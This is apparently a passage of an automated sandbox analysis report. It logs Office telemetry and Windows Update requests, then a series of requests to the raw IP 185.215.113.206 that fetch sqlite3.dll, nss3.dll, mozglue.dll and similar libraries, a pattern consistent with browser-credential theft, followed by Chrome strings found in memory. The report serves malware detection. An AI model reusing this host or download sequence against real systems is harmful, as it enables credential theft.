Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Muc2ry9KOP49z33&MD=+oUpkrAU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: f77b5ffa-9c9f-427a-b526-a548fdb8ef8e.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log7.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log7.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log7.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000002.00000003.2277312071.00003BD800318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2277205865.00003BD80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276907645.00003BD800F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) 